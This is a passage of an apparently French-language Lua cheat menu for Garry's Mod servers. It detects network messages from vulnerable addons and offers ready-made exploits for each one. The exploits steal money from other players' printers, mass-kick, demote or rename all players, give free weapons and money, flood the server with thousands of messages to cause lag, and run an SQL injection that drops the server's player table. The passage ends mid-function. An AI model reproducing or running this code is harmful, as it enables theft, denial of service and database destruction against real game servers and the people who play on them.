8170CHATPRINT("Exploit Trouvé : Give Arme [SquadGiveWeapon]")
8171addExploit( "70","Donnez Des Armes", "easy weapon", function()
8172surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8173inputFrame = vgui.Create( "DFrame" )
8174inputFrame:SetTitle("Choisi une arme!")
8175inputFrame:SetSize( 400, 75 )
8176inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8177inputFrame:SetDraggable(true)
8178inputFrame:ShowCloseButton(true)
8179inputFrame:MakePopup()
8180inputFrame.Paint = function( self, w, h )
8181draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8182end
8183local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8184TextEntry:SetSize( 380, 30 )
8185TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8186TextEntry:SetText( "ls_sniper" )
8187TextEntry.OnEnter = function( self )
8188surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Giving Weapon")
8189net.Start("SquadGiveWeapon")
8190net.WriteString( self:GetValue() )
8191net.WriteEntity(LocalPlayer())
8192net.SendToServer()
8193inputFrame:SetVisible(false)
8194end
8195end )
8196end
8197
8198status = ValidNetString("SetTableTarget")
8199if (status) then
8200CHATPRINT("Exploit Trouvé : Set Table Target [SetTableTarget]")
8201addExploit( "71","Set Table Target", "", function()
8202surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8203net.Start("SetTableTarget")
8204net.WriteString("pername")
8205net.WriteString("perjob")
8206net.WriteInt(-10000000000000, 32)
8207net.WriteString("hitmansel")
8208net.WriteString("Anony.")
8209net.WriteString("")
8210net.WriteFloat(0)
8211net.WriteInt(-10000000000000, 32)
8212net.SendToServer()
8213end )
8214end
8215
8216status = ValidNetString("UpdateRPUModelSQL")
8217if (status) then
8218CHATPRINT("Exploit Trouvé : Change character model [UpdateRPUModelSQL]")
8219addExploit( "72","Change character model", "", function()
8220surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8221net.Start("UpdateRPUModelSQL")
8222net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
8223net.SendToServer()
8224end )
8225end
8226
8227status = ValidNetString("disguise")
8228if (status) then
8229CHATPRINT("Exploit Trouvé : Disguise [disguise]")
8230addExploit( "73","Disguise", "allows you to disguise as any job", function()
8231surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8232inputFrame = vgui.Create( "DFrame" )
8233inputFrame:SetTitle("Enter the number of the job")
8234inputFrame:SetSize( 400, 75 )
8235inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8236inputFrame:SetDraggable(true)
8237inputFrame:ShowCloseButton(true)
8238inputFrame:MakePopup()
8239inputFrame.Paint = function( self, w, h )
8240draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8241end
8242local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8243TextEntry:SetSize( 380, 30 )
8244TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8245TextEntry:SetText( "5" )
8246TextEntry.OnEnter = function( self )
8247surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Déguisé")
8248net.Start("disguise")
8249net.WriteInt(tonumber(self:GetValue()), 32)
8250net.SendToServer()
8251inputFrame:SetVisible(false)
8252end
8253end )
8254end
8255
8256status = ValidNetString("gportal_rpname_change")
8257if (status) then
8258CHATPRINT("Exploit Trouvé : Nom RP #1 [gportal_rpname_change]")
8259addExploit( "74","Your RP Name #1", "allows you to put absolutely any rp name", function()
8260surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8261inputFrame = vgui.Create( "DFrame" )
8262inputFrame:SetTitle("Entrer Votre Nom")
8263inputFrame:SetSize( 400, 75 )
8264inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8265inputFrame:SetDraggable(true)
8266inputFrame:ShowCloseButton(true)
8267inputFrame:MakePopup()
8268inputFrame.Paint = function( self, w, h )
8269draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8270end
8271local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8272TextEntry:SetSize( 380, 30 )
8273TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8274TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
8275TextEntry.OnEnter = function( self )
8276surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Changé")
8277net.Start("gportal_rpname_change")
8278net.WriteString( (self:GetValue()), 32)
8279net.WriteString(" ")
8280net.SendToServer()
8281inputFrame:SetVisible(false)
8282end
8283end )
8284end
8285
8286status = ValidNetString("NewRPNameSQL")
8287if (status) then
8288CHATPRINT("Exploit Trouvé : Your RP Name #2 [NewRPNameSQL]")
8289addExploit( "75","Your RP Name #2", "allows you to put absolutely any rp name", function()
8290surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8291inputFrame = vgui.Create( "DFrame" )
8292inputFrame:SetTitle("Enter your name")
8293inputFrame:SetSize( 400, 75 )
8294inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8295inputFrame:SetDraggable(true)
8296inputFrame:ShowCloseButton(true)
8297inputFrame:MakePopup()
8298inputFrame.Paint = function( self, w, h )
8299draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8300end
8301local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8302TextEntry:SetSize( 380, 30 )
8303TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8304TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
8305TextEntry.OnEnter = function( self )
8306surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Changé")
8307net.Start("NewRPNameSQL")
8308net.WriteString( (self:GetValue()), 32)
8309net.SendToServer()
8310inputFrame:SetVisible(false)
8311end
8312end )
8313end
8314
8315status = ValidNetString("chname")
8316if (status) then
8317CHATPRINT("Exploit Trouvé : Your RP Name #3 [chname]")
8318addExploit( "76","Your RP Name #3", "", function()
8319surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8320inputFrame = vgui.Create( "DFrame" )
8321inputFrame:SetTitle("Enter your name")
8322inputFrame:SetSize( 400, 75 )
8323inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8324inputFrame:SetDraggable(true)
8325inputFrame:ShowCloseButton(true)
8326inputFrame:MakePopup()
8327inputFrame.Paint = function( self, w, h )
8328draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8329end
8330local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8331TextEntry:SetSize( 380, 30 )
8332TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8333TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
8334TextEntry.OnEnter = function( self )
8335surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Changé")
8336net.Start("chname")
8337net.WriteString( (self:GetValue()) )
8338net.WriteString(" ")
8339net.SendToServer()
8340inputFrame:SetVisible(false)
8341end
8342end )
8343end
8344
8345status = ValidNetString("AbilityUse")
8346if (status) then
8347CHATPRINT("Exploit Trouvé : Free Bonus [AbilityUse]")
8348addExploit( "77","Free Bonus", "allows you to instantly get bonuses", function()
8349surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") for k, v in ipairs(rp.abilities.list) do
8350CHATPRINT("ID - "..k.." | "..v:GetName())
8351inputFrameExists = true
8352inputFrame = vgui.Create( "DFrame" )
8353inputFrame:SetTitle("Enter the id of the bonus")
8354inputFrame:SetSize( 400, 75 )
8355inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8356inputFrame:SetDraggable(true)
8357inputFrame:ShowCloseButton(true)
8358inputFrame:MakePopup()
8359inputFrame.Paint = function( self, w, h )
8360draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8361end
8362local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8363TextEntry:SetSize( 380, 30 )
8364TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8365TextEntry:SetText( "6" )
8366TextEntry.OnEnter = function( self )
8367surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Reçu")
8368net.Start("AbilityUse")
8369net.WriteInt(tonumber(self:GetValue()), 32)
8370net.SendToServer()
8371inputFrame:SetVisible(false)
8372end
8373end
8374end )
8375end
8376
8377status = ValidNetString("race_accept")
8378if (status) then
8379CHATPRINT("Exploit Trouvé : Recevoir Véhicule [race_accept]")
8380addExploit( "78","Recevoir Véhicule", "", function()
8381surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8382inputFrame = vgui.Create( "DFrame" )
8383inputFrame:SetTitle("Enter the id of the car")
8384inputFrame:SetSize( 400, 75 )
8385inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8386inputFrame:SetDraggable(true)
8387inputFrame:ShowCloseButton(true)
8388inputFrame:MakePopup()
8389inputFrame.Paint = function( self, w, h )
8390draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8391end
8392local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8393TextEntry:SetSize( 380, 30 )
8394TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8395TextEntry:SetText( "1" )
8396TextEntry.OnEnter = function( self )
8397surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8398net.Start("race_accept")
8399net.WriteInt(tonumber(self:GetValue()), 32)
8400net.SendToServer()
8401end
8402end )
8403end
8404
8405status = ValidNetString("NLR_Spawn")
8406if (status) then
8407CHATPRINT("Exploit Trouvé : ReSpawn #3 [NLR_Spawn]")
8408addExploit( "79","ReSpawn #3", "instant revival", function()
8409surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8410net.Start("NLR_Spawn")
8411net.WriteEntity(LocalPlayer())
8412net.SendToServer()
8413end )
8414end
8415
8416status = ValidNetString("Kun_ZiptieStruggle")
8417if (status) then
8418CHATPRINT("Exploit Trouvé : Casser Menottess [Kun_ZiptieStruggle]")
8419addExploit( "80","Casser Menottess", "Instantly breaks the handcuffs", function()
8420surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8421for i=0,30 do
8422net.Start("Kun_ZiptieStruggle")
8423net.SendToServer()
8424end
8425end )
8426end
8427
8428status = ValidNetString("JB_Votekick")
8429if (status) then
8430CHATPRINT("Exploit Trouvé : Votekick Massif [JB_Votekick]")
8431addExploit( "81","Votekick Massif", "Kick Tous Le Monde", function()
8432surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8433for k,v in pairs(player.GetAll()) do
8434net.Start("JB_Votekick")
8435net.WriteEntity(v)
8436net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
8437net.SendToServer()
8438end
8439end )
8440end
8441
8442status = ValidNetString("Letthisdudeout")
8443if (status) then
8444CHATPRINT("Exploit Trouvé : Arret Forcé [Letthisdudeout]")
8445addExploit( "82","Arret Forcé", "exploit on all Byb servers to bail yourself out", function()
8446surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8447net.Start("Letthisdudeout")
8448net.WriteEntity(LocalPlayer())
8449net.SendToServer()
8450end )
8451end
8452
8453status = ValidNetString("opr_withdraw")
8454if (status) then
8455CHATPRINT("Exploit Trouvé : Crée Des Lags #14 [opr_withdraw]")
8456addExploit( "83","Crée Des Lags #14", "", function()
8457surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8458timer.Create("lagger14", 0,0, function()
8459for i = 1, 1000 do
8460net.Start("opr_withdraw",true)
8461net.WriteEntity(LocalPlayer())
8462net.SendToServer()
8463end
8464end )
8465end )
8466end
8467
8468status = ValidNetString("NC_GetNameChange")
8469if (status) then
8470CHATPRINT("Exploit Trouvé : Change all names [NC_GetNameChange]")
8471addExploit( "84","Change all names", "allows you to change the rp names of all players", function()
8472surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8473inputFrame = vgui.Create( "DFrame" )
8474inputFrame:SetTitle("Enter the name")
8475inputFrame:SetSize( 400, 75 )
8476inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8477inputFrame:SetDraggable(true)
8478inputFrame:ShowCloseButton(true)
8479inputFrame:MakePopup()
8480inputFrame.Paint = function( self, w, h )
8481draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8482end
8483local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8484TextEntry:SetSize( 380, 30 )
8485TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8486TextEntry:SetText( "AHAHAHAHAH" )
8487TextEntry.OnEnter = function( self )
8488surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8489for k, v in pairs( player.GetAll() ) do
8490net.Start("NC_GetNameChange")
8491net.WriteEntity(v)
8492net.WriteString( (self:GetValue()) )
8493net.WriteString( (self:GetValue()) )
8494net.SendToServer()
8495end
8496end
8497end )
8498end
8499
8500status = ValidNetString("revival_revive_accept")
8501if (status) then
8502CHATPRINT("Exploit Trouvé : Reanimation #2 [revival_revive_accept]")
8503addExploit( "85","Reanimation #2", "instant revival, ", function()
8504surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "exploit_revive" ) then
8505--( "Enabled" )
8506timer.Create( "exploit_revive", 0.5, 0, function()
8507if !LocalPlayer():Alive() then
8508net.Start("revival_revive_accept")
8509net.SendToServer()
8510end
8511end )
8512else
8513timer.Remove( "exploit_revive" )
8514--( "Disabled" )
8515end
8516end )
8517end
8518
8519status = ValidNetString("join_disconnect")
8520if (status) then
8521CHATPRINT("Exploit Trouvé : Crée Des Lags #15 [join_disconnect]")
8522addExploit( "86","Crée Des Lags #15", "b1g lags my duder", function()
8523surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8524if not timer.Exists("lagger15") then
8525timer.Create("lagger15", 0.5, 0, function()
8526for i = 1, 3000 do
8527net.Start("join_disconnect",true)
8528net.WriteEntity(table.Random(player.GetAll()))
8529net.SendToServer()
8530end
8531end)
8532else
8533timer.Remove("lagger15")
8534--("Stopping")
8535end
8536end )
8537end
8538
8539status = ValidNetString("BuyFirstTovar")
8540if (status) then
8541CHATPRINT("Exploit Trouvé : Free Physgun [BuyFirstTovar]")
8542addExploit( "87","Free Physgun", "get physgun", function()
8543surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Take physgun")
8544net.Start("BuyFirstTovar")
8545net.WriteString("0")
8546net.SendToServer()
8547end )
8548end
8549
8550status = ValidNetString("BuySecondTovar")
8551if (status) then
8552CHATPRINT("Exploit Trouvé : Gravity Gun Gratuit [BuySecondTovar]")
8553addExploit( "88","Gravity Gun Gratuit", "Pas Trop Utile Mais Tjr Cool :)", function()
8554surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Take gravitygun")
8555net.Start("BuySecondTovar")
8556net.WriteString("0")
8557net.SendToServer()
8558end )
8559end
8560
8561status = ValidNetString("MONEY_SYSTEM_GetWeapons")
8562if (status) then
8563CHATPRINT("Exploit Trouvé : Donnez Des Armes #2 [MONEY_SYSTEM_GetWeapons]")
8564addExploit( "89","Donnez Des Armes #2", "get weapons", function()
8565surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8566for i = 1,32 do
8567net.Start("MONEY_SYSTEM_GetWeapons")
8568net.WriteInt(i, 8)
8569net.SendToServer()
8570end
8571end )
8572end
8573
8574status = ValidNetString("MCon_Demote_ToServer")
8575if (status) then
8576CHATPRINT("Exploit Trouvé : Demote Tout Les Joueurs #2 [MCon_Demote_ToServer]")
8577addExploit( "90","Demote Tout Les Joueurs #2", "demote all players", function()
8578surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8579for k,v in pairs(player.GetAll()) do
8580net.Start("MCon_Demote_ToServer")
8581net.WriteString(v:SteamID())
8582net.SendToServer()
8583end
8584end )
8585end
8586
8587status = ValidNetString("withdrawMoney")
8588if (status) then
8589CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #3 [withdrawMoney]")
8590addExploit( "91","Voler L'argents De Tous #3", "withdraw money from all printers, ", function()
8591surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8592for k, v in pairs(ents.GetAll()) do
8593net.Start("withdrawMoney")
8594net.WriteEntity(v)
8595net.SendToServer()
8596end
8597end )
8598end
8599
8600status = ValidNetString("withdrawMoney")
8601if (status) then
8602CHATPRINT("Exploit Trouvé : Crée Des Lags #16 [withdrawMoney]")
8603addExploit( "92","Crée Des Lags #16", "", function()
8604surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8605timer.Create("lagger16", 0, 0, function()
8606for i=1,1000 do
8607net.Start("withdrawMoney",true)
8608net.WriteEntity(LocalPlayer())
8609net.SendToServer()
8610end
8611end )
8612end )
8613end
8614
8615status = ValidNetString("SyncPrinterButtons76561198027292625")
8616if (status) then
8617CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #4 [SyncPrinterButtons76561198027292625]")
8618addExploit( "93","Voler L'argents De Tous #4", "withdraw money from all printers", function()
8619surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8620for k, v in pairs(ents.GetAll()) do
8621net.Start("SyncPrinterButtons76561198027292625")
8622net.WriteEntity(v)
8623net.WriteUInt(2, 4)
8624net.SendToServer()
8625end
8626end )
8627end
8628
8629status = ValidNetString("gPrinters.retrieveMoney")
8630if (status) then
8631CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #5 [gPrinters.retrieveMoney]")
8632addExploit( "94","Voler L'argents De Tous #5", "withdraw money from all printers, ", function()
8633surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8634for k, v in pairs(ents.GetAll()) do
8635net.Start("gPrinters.retrieveMoney")
8636net.WriteEntity(v)
8637net.SendToServer()
8638end
8639end )
8640end
8641
8642status = ValidNetString("gPrinters.retrieveMoney")
8643if (status) then
8644CHATPRINT("Exploit Trouvé : Crée Des Lags #17 [gPrinters.retrieveMoney]")
8645addExploit( "95","Crée Des Lags #17", "", function()
8646surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8647timer.Create("lagger17", 0, 0, function()
8648for i=1,1000 do
8649net.Start("gPrinters.retrieveMoney",true)
8650net.WriteEntity(LocalPlayer())
8651net.SendToServer()
8652end
8653end )
8654end )
8655end
8656
8657status = ValidNetString("NGII_TakeMoney")
8658if (status) then
8659CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #6 [NGII_TakeMoney]")
8660addExploit( "96","Voler L'argents De Tous #6", "withdraw money from all printers", function()
8661surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8662for k, v in pairs(ents.GetAll()) do
8663net.Start("NGII_TakeMoney")
8664net.WriteEntity(v)
8665net.WriteEntity(LocalPlayer())
8666net.SendToServer()
8667end
8668end )
8669end
8670
8671status = ValidNetString("money_clicker_withdraw")
8672if (status) then
8673CHATPRINT("Exploit Trouvé : Crée Des Lags #18 [money_clicker_withdraw]")
8674addExploit( "97","Crée Des Lags #18", "", function()
8675surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8676timer.Create("lagger18", 0, 0, function()
8677for i=1,1000 do
8678net.Start("money_clicker_withdraw",true)
8679net.WriteEntity(LocalPlayer())
8680net.SendToServer()
8681end
8682end )
8683end )
8684end
8685
8686status = ValidNetString("opr_withdraw")
8687if (status) then
8688CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #7 [opr_withdraw]")
8689addExploit( "98","Voler L'argents De Tous #7", "withdraw money from all printers", function()
8690surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8691for k, v in pairs(ents.GetAll()) do
8692net.Start("opr_withdraw")
8693net.WriteEntity(v)
8694net.SendToServer()
8695end
8696end )
8697end
8698
8699status = ValidNetString("NET_DoPrinterAction")
8700if (status) then
8701CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #8 [NET_DoPrinterAction]")
8702addExploit( "99","Voler L'argents De Tous #8", "withdraw money from all printers", function()
8703surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8704for k, v in pairs(ents.GetAll()) do
8705if v:GetClass():find("print") then
8706net.Start("NET_DoPrinterAction")
8707net.WriteEntity(LocalPlayer())
8708net.WriteEntity(v)
8709net.WriteInt(2,16)
8710net.SendToServer()
8711end
8712end
8713end )
8714end
8715
8716status = ValidNetString("tickbooksendfine")
8717if (status) then
8718CHATPRINT("Exploit Trouvé : Ticket Book [tickbooksendfine]")
8719addExploit( "100","Ticket Book", "allows you to write a fine to all players, ", function()
8720surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8721local reasonstable = {"Nice nan ? :D"}
8722for k, v in pairs(player.GetAll()) do
8723if v != LocalPlayer() then
8724net.Start("tickbooksendfine")
8725net.WriteString(v:SteamID())
8726net.WriteTable(reasonstable)
8727net.WriteDouble(1500, 32)
8728net.SendToServer()
8729end
8730end
8731end )
8732end
8733
8734status = ValidNetString("SyncPrinterButtons16690")
8735if (status) then
8736CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #9 [SyncPrinterButtons16690]")
8737addExploit( "101","Voler L'argents De Tous #9", "withdraw money from all printers", function()
8738surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8739for k, v in pairs(ents.GetAll()) do
8740if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8741net.Start("SyncPrinterButtons16690")
8742net.WriteEntity(v)
8743net.WriteUInt(2, 4)
8744net.SendToServer()
8745end
8746end
8747end)
8748end
8749
8750status = ValidNetString("withdrawp")
8751if (status) then
8752CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #10 [withdrawp]")
8753addExploit( "102","Voler L'argents De Tous #10", "withdraw money from all printers", function()
8754surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8755for k,v in pairs(ents.FindByClass("derma_printer")) do
8756net.Start("withdrawp")
8757net.WriteEntity(v)
8758net.SendToServer()
8759end
8760end)
8761end
8762
8763status = ValidNetString("withdrawp")
8764if (status) then
8765CHATPRINT("Exploit Trouvé : Crée Des Lags #19 [withdrawp]")
8766addExploit( "103","Crée Des Lags #19", "", function()
8767surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8768timer.Create("lagger19", 0, 0, function()
8769for i=1,1000 do
8770net.Start("withdrawp",true)
8771net.WriteEntity(LocalPlayer())
8772net.SendToServer()
8773end
8774end )
8775end )
8776end
8777
8778status = ValidNetString("DarkRP_SS_Gamble")
8779if (status) then
8780CHATPRINT("Exploit Trouvé : Argent Gratuite #3 [DarkRP_SS_Gamble]")
8781addExploit( "104","Argent Gratuite #3", "Exploit Provenant De L'addon 'DarkRP Casino'", function()
8782surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8783net.Start("DarkRP_SS_Gamble")
8784net.WriteInt(99999, 32)
8785net.WriteInt(1, 32)
8786net.WriteInt(0, 32)
8787net.WriteInt(0, 32)
8788net.WriteInt(1, 32)
8789net.SendToServer()
8790end )
8791end
8792
8793status = ValidNetString("PCAdd")
8794if (status) then
8795CHATPRINT("Exploit Trouvé : Supprimer Code Promo [PCAdd]")
8796addExploit( "105","Supprimer Code Promo", "delete all promocodes", function()
8797surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8798net.Start("PCAdd")
8799net.WriteString("alahman")
8800net.WriteString("300000000")
8801net.SendToServer()
8802timer.Simple(3,function()
8803net.Start("ActivatePC")
8804net.WriteString("alahman")
8805net.SendToServer()
8806net.Start("PCDelAll")
8807net.SendToServer()
8808end )
8809end )
8810end
8811
8812status = ValidNetString("viv_hl2rp_disp_message")
8813if (status) then
8814CHATPRINT("Exploit Trouvé : HL2 Message Vocal [viv_hl2rp_disp_message]")
8815addExploit( "106","HL2 Message Vocal", "hl2 voice commands", function()
8816surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8817for name, command in pairs (dispatchCommands) do
8818net.Start("viv_hl2rp_disp_message")
8819net.WriteString(command)
8820net.SendToServer()
8821end
8822end )
8823end
8824
8825status = ValidNetString("Kun_SellDrug")
8826if (status) then
8827CHATPRINT("Exploit Trouvé : Argent Gratuite #4 [Kun_SellDrug]")
8828addExploit( "107","Argent Gratuite #4", "get monies", function()
8829surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "freemoney4" ) then
8830--("Démarré")
8831timer.Create( "freemoney4", 0, 0, function()
8832for i=1,1000 do
8833net.Start("Kun_SellDrug")
8834net.WriteString("mushroom")
8835net.SendToServer()
8836end
8837end)
8838else
8839timer.Remove( "freemoney4" )
8840--("Stopping")
8841end
8842end )
8843end
8844
8845status = ValidNetString("net_PSUnBoxServer")
8846if (status) then
8847CHATPRINT("Exploit Trouvé : Point Shop Unbox [net_PSUnBoxServer]")
8848addExploit( "108","Point Shop Unbox", "Exploit Provenant De L'addon 'Point Shop", function()
8849surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8850for k,v in pairs(player.GetAll()) do
8851local i = 0
8852for k2,v2 in pairs(PS.Items) do
8853if !v:PS_HasItem(v2.ID) then
8854timer.Simple(k*i*1.7,function()
8855net.Start("net_PSUnBoxServer")
8856net.WriteEntity(v)
8857net.WriteString(v2.ID)
8858net.SendToServer()
8859end)
8860i = i + 1
8861end
8862end
8863end
8864end )
8865end
8866
8867status = ValidNetString("pplay_sendtable")
8868if (status) then
8869CHATPRINT("Exploit Trouvé : ☢ Détruire La BDMenu SQL ☢ [pplay_sendtable]")
8870addExploit( "109","☢ Détruire La BDMenu SQL ☢", "Tout Détruire", function()
8871surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8872local tbl = {}
8873tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
8874tbl.ply = LocalPlayer()
8875net.Start("pplay_sendtable")
8876net.WriteTable(tbl)
8877net.SendToServer()
8878end )
8879end
8880
8881status = ValidNetString("75_plus_win")
8882if (status) then
8883CHATPRINT("Exploit Trouvé : Argent Gratuite #5 [75_plus_win]")
8884addExploit( "110","Argent Gratuite #5", "Recevoir De L'Argent", function()
8885surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8886net.Start("75_plus_win")
8887net.WriteString("99999999")
8888net.WriteEntity(LocalPlayer())
8889net.SendToServer()
8890end )
8891end
8892
8893status = ValidNetString("ATMDepositMoney")
8894if (status) then
8895CHATPRINT("Exploit Trouvé : Argent Gratuite #6 [ATMDepositMoney]")
8896addExploit( "111","Argent Gratuite #6", "an exploit in 'ATM'", function()
8897surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8898net.Start("ATMDepositMoney")
8899net.WriteFloat(-9999999)
8900net.SendToServer()
8901end )
8902end
8903
8904status = ValidNetString("SellMinerals")
8905if (status) then
8906CHATPRINT("Exploit Trouvé : Argent Gratuite #7 [SellMinerals]")
8907addExploit( "112","Argent Gratuite #7", "an exploit in 'eMining'", function()
8908surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8909for k,v in pairs(SkillDB) do
8910if not ( v.iSkill == true ) then
8911net.Start("Upgrade")
8912net.WriteTable( { LuaName = v.LuaName, Amount = -9999999 } )
8913net.SendToServer()
8914net.Start("SellMinerals")
